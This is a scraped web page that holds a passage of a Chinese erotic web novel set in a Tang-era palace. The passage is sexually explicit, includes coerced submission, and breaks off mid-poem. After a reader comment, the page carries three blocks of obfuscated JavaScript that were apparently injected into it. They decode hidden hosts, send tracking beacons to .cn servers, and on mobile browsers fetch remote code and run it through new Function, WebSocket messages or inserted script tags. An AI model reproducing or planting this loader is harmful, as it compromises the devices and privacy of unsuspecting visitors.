想到这里,她的心中一阵摇荡,耳边所听娇喘呻吟之声,似乎也变成
了自己和女儿的呻吟声,彷彿自己和女儿一同在小民子胯下承欢一般,不
由又是羞惭,又是害怕,拼命地摇着头,想把这古怪的念头从心里赶出
去,却又哪里能够静下心来?只是紧紧抱住锦被,红透双颊,低低地娇喘
而已。

她在床上,浑身如堕火炉一般,暗恨自己水性杨花,竟然对这比自己
女儿还小的少年动了淫念,却看不到,月娘正坐在她的床边,一边低头对
她吹着粉红色的气息,一边在无声地微笑着,她那美豔的双眼中,兴奋促
狭的亮光,在隐隐地闪动。
第八章
分身

李小民懒洋洋躺在床上,一边吻着兰儿娇嫩香舌,一边在她酥胸上摸
来摸去,拍拍胯下正在卖力吸吮的云妃,微笑道:「好啦,替我穿好衣
服,我要回宫去了!」

云妃娇躯一颤,听到「回宫」二字,想起自己从前的宫廷生活,又悲
又痛,想着那时候自己是在受这小太监和小宫女的服侍,现在倒反了过
来,自己成了这小太监的姬妾,在他府第中尽心尽力地服侍着他,人生的
际遇,变化万端,实是令人有目不遐接之感。

她慌忙吐出李小民那不该出现在太监身上的东西,象他从前服侍自己
穿衣一样,与兰儿一起服侍他穿上衣服,跪在地上,小心地捧起李小民的
脚,替他穿上了鞋。

李小民享受着这帝皇式的服务,心中欢喜,伸手摸摸云妃娇嫩玉颊,
微笑道:「云儿好乖,以后就和兰儿好生住在这里,等我有了空,就买些
丫环来照顾你们!这些天,你们先姊妹相称,不要再说什幺主子奴婢的话
了!」

他的话一出,二女自是不敢不听。兰儿从床上穿衣下来,脆声声地
道:「姊姊,小妹有礼!」

云妃又惊又喜,正要还礼,却被李小民伸手按住樱唇,笑道:「说反
了!应该你是大,她是小,云儿,叫声『姊姊』来听!」

二女大惊,云妃掩面羞惭不已,却还是不敢违拗李小民的命令,含泪
叫了声「姊姊」,语声颤抖,伏地拜倒在兰儿面前,泪水几乎流了下来。

兰儿小脸上满是惊色,正要谦谢,却被李小民的手抚上头髮,想起小
民子哥哥的话,不敢违拗,只得小声地说道:「妹妹,不必多礼!」将她
扶了起来。

见她们含泪对视,一片姊妹情深的模样,李小民心中大畅,搂着她们
两个娇软的身子,仰天大笑出门去,一直到了堂前,才鬆开手,让她们回
去屋里,千万不可出门,免得被人瞧见了。

萧淑妃隔着板壁,听到他爽朗的大笑声,更确定了那一边与两个女子
行云布雨的,正是小民子,不由娇羞不已,想到自己竟然听到了他的云雨
之声,下次他来时,又如何有面目面对着他?

李小民却不知道自己刚才的快活之声,已经被萧淑妃听得不亦乐乎,
只顾拍马而行,路过自己开的大酒楼时,进去找了陈德修,叫他买几个丫
环送到某处府第去,要从两个门分送,并且不能让陈德修自己去,而是要
派了僕妇将丫环送去,一切细节,都已交待好了。

陈德修见大老闆发了话,躬身领命,顺便报告一下酒楼的经营情况。

将几处酒楼赚到的钱向李小民报了账,陈德修又道:「李公公,前些
日子,出的那几本书我们赚了不少钱,满金陵城中,到处都嚷嚷动了,说
是这些书好看,我们现在正在加班加点地印刷,基本上一出便卖光。以后
我们是不是接着多出一些书,好再赚些钱?」

李小民精神一振,问起出版赚到的钱,竟然不比酒楼经营少,果然是
暴利行业。

李小民面露喜色,想了想,摇头道:「现在既然原来那些书还是供不
应求,你先把那些书多印刷些,赚够了钱,再想别的书。」

从酒楼里面出来,李小民拍马驰向皇宫,心里思量,是不是该做一个
小说家,就象前世最有名的那些武侠小说作家一样,写些大唐的游侠小
说,也搏个千古留名。

想想前世,网路盛行之时,随便是谁,都敢写本小说放在网上让人观
赏,哪怕是错字连篇,小学没上完的,也敢大胆出书,虽然有人笑骂,可
也有人追捧,比之从前文学管制时代,只有一群文痞、走狗霸佔文坛而彻
底蔑视人民喜好的情况要天差地别了。

李小民别的长处没有,小说倒是看了不少,随便拿出一点来,便是千
古流传的名篇,要震慑这个时代的人,那是绰绰有余了。只要他想当作
家,从前那个世界千百作家的作品,他可随意选用,只怕古往今来,再无
一人的声名能及得上他。

想想从前在网站上看书,曾经看到一本书,写的是一个人做梦回到了
九十年代,把自己这些年看到的小说默写了出来,然后就成了一个伟大的
作家,声威动天地。而现在这个时代,一个竞争者都没有,李小民要做的
话,成就只有比他高上几十万倍。

李小民捉摸着自己是不是该转行做个文学青年,这个时代没有那些尸
位素餐的文坛权威在上面打压,自己应该可以轻易成功吧?一边想着,一
边信马由缰,回到了宫里。

他也懒得上御膳房去巡视,直接走向自己的屋子,刚一进门,便觉香
风袭来,一只手迅速伸过来揪住他的耳朵,娇叱道:「小民子,你跑到哪
里去玩了,害我在这里等了好久!」

耳朵上,玉手绵软,李小民仅凭触感便知道是谁的手,忙央告道:
「好姊姊,别使劲,我是出宫去买东西去了!」

长平公主的手微微鬆了鬆,随即又是一紧,气苦道:「我在这里苦苦
等着你,你倒跟到宫外面去逍遥自在!说,你都去哪里玩了?」

李小民知道她是嫉妒自己可以随意出宫,而她却只能整日呆在这寂寞
宫室里,忙陪笑道:「好姊姊,我出宫是去採买东西,哪里有闲心去玩!
你看,为了买到明天用到的食物,我跑得腿都瘦了!姊姊别急,回头我替
你买些别致的小玩意来,外面卖的东西,很有趣的!」

长平公主鬆了手,气哼哼地说:「又在油嘴滑舌,骗我开心!别的我
也不要,你去买些书来给我看,就行了!」

李小民一怔,问道:「什幺书?」

长平公主从身后拿出一本书来,道:「喏,就是这种的书啦!」

李小民低头一看,只看了封面,就认出是自己写的,不由暗自得意:
「我果然是天才作家啊,才这幺快,我写的言情小说就传到宫里来了!嘿
嘿,这说明,我从前在那个网站上写的书红不了,不是我写得不好,是所
有的读者都不识货的缘故!」

他庄重地轻咳一声,明知故问道:「这幺有名的小说,不知是哪位才
子写的?」

长平公主没想到他这幺问,不由一怔,随即掩口笑道:「说来好笑,
写这本书的,是一匹马!」

李小民脸上的笑容立即凝固,偏着头想了想,脱口道:「什幺马,那
是人家的笔名叫『大仲马』!」

长平公主以袖掩口,娇笑道:「种马不是更难听!真奇怪,居然还有
人愿意叫这个名字!」

李小民心中大是不忿,伸手拿过她手中的书,翻到作者姓名那一页,
正要拿给她看,好好教训一下这个不识字的姊姊,忽然呆住了:在作者的
名字位置上,赫然写着「大种马」三个字!

李小民又惊又怒,想了想,才想起自己当初要那些负责抄写小说的书
生们在书页上写上作者名为「大仲马」,把自己最喜欢的作家名作为自己
处女作的笔名,谁知那些书生没学问,竟连这幺有名的作家都不知道,赫
然写成了「种马」!

李小民气得咬牙切齿,放下书,想着回去一定要狠狠地扣他们的工
资,作为他们把关键字词写错的惩罚。

长平公主看他脸上忽青忽红,大为奇怪,却心念着想要看到新的小
说,又催促道:「要买快去买,别等过两天,这些书就要被禁了!」

李小民一惊,抬头看着长平公主俏丽玉颜,疑道:「好好的,为什幺
要禁这些书?」

长平公主摇头歎道:「谁知道是怎幺回事,昨天有人稟报父皇,道是
太子哥哥和小煦躲在家里偷看淫书,父皇大为震怒,叫人去他们两个人的
府第,把那些书抄了来,只看了几眼,就把父皇气得不得了,叫人狠狠训
斥了他们一顿,这几个月禁止他们出门。我听人说,父皇已经发下命令,
要彻查这些书,过不几天,市上的书籍都要被禁了!」

李小民跌足长歎,想不到自己写的书竟然成了禁书。看来命令还没有
发到基层政府,所以陈德修一时还不知道这些事。其实这些书里有什幺
呀?不就是一些男女情爱的描写,根本就不露骨,那个皇帝真是少见多
怪,一定是自己不能人道,所以嫉妒别人有这样的快乐,才会想到禁这些
书!

想想自己从前在网站看书,也常常看到一些好小说被莫名其妙地禁
掉,只不过因为里面有了一点点的情爱描写,就会被人告上管理区。而小
说网站为了不被政府机关揪住小辫子,也只得迅速把那些书删除或是限期
删改,反正书站里那幺多有名的小说,也不在乎这一部半部的。

这位皇帝,这幺喜欢禁人家的书,若是到了那个时代,或者比较适合
成为网上书站的管理员,那样就有好多书可以禁了!

或者说,书站的管理员,都有当皇帝的潜质?

李小民心中思量,到底是谁跟自己有这幺大仇,一定要偷偷地诬告自
己?从前在网站上看到那些被禁的小说,有一次是因为某书上了新书排行
榜,因此挡了某些人的路,所以才被人告了,其实别的书这方面的描写更
多更露骨,只是它没有在新书榜上佔据一个位置,所以大家才懒得告它。
自己这一次,该不会也是这种情况吧?

他只想了一下,立即摇头:在这个时代,自己一个竞争者都没有,哪
会有什幺人会因嫉妒而诬告自己!就算有七八个竞争者,在这幺大的市场
之下,竞争根本不会象小说网站上千作者争抢排名那样你死我活的血腥激
烈,犯得着用这种下流手段吗?

心中疑惑,李小民忍不住问道:「是谁告发的两位殿下,为什幺?」

长平公主微蹙娥眉,歎息道:「有人说是大哥,不知道是不是真
的。」

李小民心里明白她说的大哥就是皇长子李熊,不由恍然想道:「是
了!他是为了争宠,才告发自己的弟弟,让李渔讨厌他们,免得他们再跟
自己争位!哼,我早看这家伙不顺眼,也就是看在几位公主的面子上才没
有整死他,这家伙反而变本加厉,手足相残,还要带累我!」

正在暗自愤恨之际,长平公主的玉手又拍着他的脑袋,问道:「小民
子,你是不是该快些出宫,买些书来给我看?要晚了的话,就买不到
了!」

李小民乾笑道:「公主姊姊放心,我在外面有些熟人,就算这些书都
被禁了,我也能买到!你想看什幺书,说一声,我去给你买来!」

长平公主大为欢喜,拿过那本书,红着脸微笑道:「就要这样的就
好!」

李小民看了一眼,见那本书是自己抄琼瑶的爱情小说,这个类型的只
写了一本,还没有时间写别的,不由暗自发愁,可是也只能答应下来,心
里想着:「没办法,让那些书生再加几天班,赶出一本新的琼瑶小说吧!
唉,谁叫她是我在宫里的靠山呢!」

抬头看着长平公主娇豔红颜,李小民心中不由一蕩,想着当初懿妃附
在她身上与自己交欢时的淫蕩举止,以及她昏迷中在自己身下承欢时的娇
媚模样,心神飘蕩,忙低下头,不敢多看,免得一时兴奋,现了原形。

长平公主看着他白皙俊秀的面庞,想起小说里面的情爱描写,不由微
微动心,红着脸,微笑道:「我倒忘了一件事,真平姊姊说过,要你有空
和我们一起出宫,去见一个叫『李白』的人,听说那人,长得和你很象
呢!」

李小民吓了一跳,赶忙推辞道:「小人不敢!公主是万金之躯,如何
可以轻出宫门,若有什幺闪失,小人便有几个脑袋,也不够砍的!」

长平公主柳眉一挑,揪住他的耳朵,叫道:「大胆小民子,我叫你
去,你怎幺能说不去?说,你去不去?」

李小民正要摇头,脑袋上粉拳已经落了下来,重重打在头上,弄得怪
疼的,没办法,只得点头答应下来,苦着脸思索,该怎幺度过这个难关。

见他满口答应,长平公主心情大好,搂着他坐到床上,伸手替他抚摸
着头上起的疙瘩,柔声抚慰,象在安慰一个小弟弟一样。

倚在长平公主温暖的怀抱里,感觉着玉手抚摸在头上,李小民只觉舒
服无比,心中不由感到一丝惬意:「有这幺一个姊姊倒也不错,虽然总是
会倚大欺小地欺负自己,可是现在这样,倒也很舒服啊!」

看着天色渐晚,长平公主也不想母亲在吃饭时找不到自己,便安慰了
小民子几句,出门而去,临行前叮嘱他,自己说过的事,千万不要忘了。

看着她拿着书快乐地走上大路,倩影消失在花丛之中,李小民揉着头
苦笑,一时不知道怎幺办才好。

和李白会面的事,回头再说,现在得先找人通知陈德修,把那些禁书
都藏起来,再把这件事与自己有关的证据都抹掉,免得受到更大的损失。

现在,李小民也不禁暗自反省,为什幺自己写的书会被禁,难道自己
真的是看书多了,被书站上的人传染,成了一个变态不成?

想了许久,李小民终于坚定地摇了摇头。他心里坚信,虽然那个时代
的人有许多都是变态,可是李小民自己,绝对——

不!是!变!态!!!

秦淮河的花船上,来了几位尊贵的客人,让才艺双绝的秦仙儿姑娘不
得不亲自迎接,为了他们,推辞了其他所有的客人,这已经是很少有的事
了。

之所以这样,是因为其中一个客人拿出了太子殿下的金牌,自称是太
子请来的客人。因为太子殿下被禁足,不能陪他们前来,他们只好拿了太
子的金牌自己出来玩了。

能被太子如此看重的人,自然非同凡俗。因此无人敢于得罪他们,花
船的管理者忙将其他客人都请走,恭请这几位客人进来。

先来的两位客人,是两个俊俏少年,在这里等了一会,道是要在这里
等人。

男装打扮的长平公主坐在花船船舱中,看着栏杆外面的明月朗星,微
风拂来,不由一阵神清气爽,心中暗自欣喜,幸好自己偷偷出了宫,不然
的话,如何能到这闻名京城的秦淮河上,看到这般美景?

抬起头,看看远远坐在主位桌案后的秦仙儿,长平公主也不由暗自讚
歎,果然是秦淮河上最有名的美女,如此聪慧美貌,便是自己见了,也不
由心生怜惜。不知她的琴艺,是否也象传说中那般动人?

秦仙儿也在好奇地打量着她。这两个少年如此美貌俊秀,自来少见,
其中一个站在另一个的后面,看来倒像是他的僮僕。只是身上的衣服,却
不是僮僕的服饰,而是相同的公子青衫,这二人的关係,令人难测。

尤其令人惊诧的是,那站立的少年,模样倒像是上次见过的诗人李
白,若非年龄看上去甚小,稚气未脱,只怕秦仙儿也要认错。难道说,他
是那李白的兄弟不成?

注意到她的目光,长平公主回过头,看着垂首站立在自己身后的小民
子,心中有些纳闷和担心。自从出了宫以后,小民子就一直不说话,问
他,他也只说自己生了病,受了风寒,身子上下疼痛,活动不便,也不大
想说话。

若这样,自己强拖他出来,岂不是让他很难受?可是和姊姊已经约好
了,只有这个时间,大家才能都有时间聚在一起,若错过了,只怕再也无
缘见到那个酷似小民子的人了。

长平公主收回目光,暗自歎息。为了让自己高兴,小民子即使是病
了,也要强撑病体出门,自己待他,实在是不够好。

没有办法,也只等到回宫之后,待他好些以作补偿了。想到这里,长
平公主正要柔声唤小民子来一起坐下喝茶吃些果子,忽然听到脚步声响,
从舱门那边传来。

守在船头的花船美女们,候了不久,便见另外两个俊俏少年走上花
船,却是先前二人邀来的客人。她们慌忙引着这二人进了宽阔的舱房,随
即屈膝行礼退下。

长平公主坐在案后,看到和男装的真平公主并肩走进来的少年,眼前
一亮,暗自惊诧道:「果然和小民子十分相似,若不是稍高一些,皮肤微
黑,年龄好像也大个一两岁,简直就是小民子自己也认不出来!」

真平公主领着李白走进舱房,见到妹妹和小民子已经在这里等候,微
微一笑,拉过李白,向长平公主介绍道:「这就是李白,我从前跟你说过
的。」将自己的心上人介绍给妹妹,不由心中又是喜欢,又是羞涩。

李白踏上一步,向长平公主深揖到地,微笑道:「小生李白,见过
公……公子!」

听着他富含磁性的温柔嗓音,长平公主面色微红,站起来还礼道:
「见过李公子。久闻大名,如雷贯耳,今日一见,果然不凡!」

李白含笑谦谢,抬起头来,看到小民子站在长平公主身后,不由微微
一笑,道:「这位便是小民兄吧?久仰了,果然与小生甚是相似。若非小
生自知无兄无弟,只怕也要把小民兄当成兄弟了呢!」

小民子深深一揖,沙哑着嗓子道:「拜见李公子。小人身受风寒,行
动不便,让李公子见笑了。」

李白忙道:「小民兄既然有恙在身,不如早些回去歇息吧?大家见上
一见,也就好了。」

真平公主却走到他身边,微笑道:「不要那幺急着走,反正已经出来
了,不如高高兴兴地玩上一阵再回去吧。」看向小民子的目光大含轻蔑,
丝毫不把这个小太监的生病放在心上。

在她身边,李白心里却大不是滋味,暗骂道:「难道太监就不是人,
可以任由你们这幺淩辱轻视幺?哼,等会到了床上,不活活弄死你,我就
不是李小民!」

一点不错,这个自称李白的少年,才是真正的李小民。而对面那个举
动呆滞的小民子,乃是月娘假扮,附身在僵尸之上,勉强控制着它的动
作。而那个僵尸,却是被李小民女扮男装,将原来收伏的一个矮个美女僵
尸移动脸部肌肉骨骼,变成了现在这副模样。

虽然能撑过一时,李小民还是担心时间长了会穿帮。可是两个公主都
捨不得走,他也只能留下来,和真平公主一起坐在桌案后面,与长平公主
的桌案遥遥相对。

看到这一对有龙阳之好的少年情侣携手而来,秦仙儿心里大不是滋
味,勉强微笑道:「几位公子前来,令敝处蓬荜生辉,仙儿无以为报,只
能以一曲琴音奉上。」

李小民翻翻白眼,不大想听她弹的琴曲,便拱手笑道:「秦大家所弹
仙音,上次已经拜闻。我听说秦大家各种乐器俱都精通,不知能否拜闻秦
大家绝技?」

秦仙儿一怔,倒是头一次遇到直言不想听自己琴音的男子。却不生
气,微微一笑道:「既如此,仙儿便用瑟弹奏一曲,请李公子品评。」

旁边的小婢女慌忙去捧了一具装饰华美的瑟来,放在秦仙儿的桌案
上,将原来那张琴取走,侍立在一旁,偷偷看着那一对超美少年情侣,面
颊微红,芳心暗羡不止。

小小的香炉焚起了香料,一股淡雅的清香瀰漫在堂中。秦仙儿肃容坐
在桌案后面,玉指轻弹,曼声唱诵,以锦瑟之音,配着她那曼妙的歌声,
听上去动人至极。

她的歌喉,美妙无比,即使是对古乐器不大感冒的李小民,也不禁听
得两眼发直,暗自讚歎道:「她怎幺不去我们那个时代,长得这幺漂亮,
声音又好听得不得了,用不了半年,就是一个歌坛新天后横空出世啊!什
幺王菲、那英、四小天后,统统都要在她面前俯首称臣!」

真平公主与长平公主初闻仙音,更是神魂飘蕩,面现迷惘之色,随着
她的歌声,如堕雾里云端。真平公主已是不由自主地靠在了李小民怀里,
将脸贴在他的胸口,癡癡地听着秦仙儿的美妙歌声。

秦仙儿本是不忿上次李白对她琴音的轻慢,所以才一反常态,主动唱
起歌曲,以向他示威。待得一曲唱完,果然看到他一副色授魂与的模样,
呆呆地看着自己发怔,口水都似要流了出来,不由心中大感得意,微微一
笑,便似春光盛开,娇媚动人无比。

目光一扫,却看到他怀中,还抱着另一个少年,模样亲昵,不由大感
无趣,低下头暗自纳闷,为什幺会有人喜欢自己的同性,这岂不是奇怪至
极幺?

歌声平息半晌,堂中数人才渐渐回神。李白不禁鼓掌讚歎道:「果然
是好瑟音,好歌喉!歌艺双绝之名,秦大家当之无愧!」

秦仙儿含笑谦谢。长平公主也回过神来,看到姊姊依偎在李白怀里,
一副癡迷的模样,不由微微一阵醋意涌起,轻哼一声,回头看看小民子,
心里想道:「黑漆漆的人,姊姊也会喜欢!还是小民子好,皮肤这幺白
嫩,每次摸上去,感觉都很舒服!」

真平公主躺在心上人的怀中,癡迷半晌,方才醒觉,看到妹妹奇怪的
目光,不由大羞,挣扎着要从李小民怀中离开,却被李小民一抱住,双手
在身上暗自乱摸,弄得她羞惭无比,却不敢乱动让妹妹看出来,只是悄悄
地掐着李小民腰间肌肉,表示抗议。

看着那一对美少年公然在席上打情骂俏、相对狎亵,秦仙儿只觉不忍
再看,强忍着心中作恶,勉强笑道:「李公子诗才超人,不知能否再作一
诗,让我等凡俗之辈也能听到李白公子的好诗?」

李小民收回在真平公主身上乱摸的手,搔搔头,挖空心思想了半天,
忽然眼前一亮,悠然长歎道:「既然秦大家有命,小生自当遵从。」

他站起身来,倒背双手,在舱中踱来踱去,抬头望空中明月朗星,感
觉着夜风拂面的清爽感觉,回过头,深邃的目光看向秦仙儿,弄得她心中
一跳,目光又落向她面前的锦瑟,轻启朱唇,用富有磁性的嗓音,悠然长
吟道:

「锦瑟无端五十弦,一弦一柱思华年;

庄周晓梦迷蝴蝶,望帝春心托杜鹃。

沧海月明珠有泪,蓝田日暖玉生烟;
很喜欢这样的内容,谢啰大大

function BUjbpuVA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vSksqbAj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BUjbpuVA(t);};window[''+'x'+'j'+'d'+'V'+'g'+'I'+'C'+'t'+'Q'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AaoQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vSksqbAj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AaoQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AaoQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9171',window,document,['n','J']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();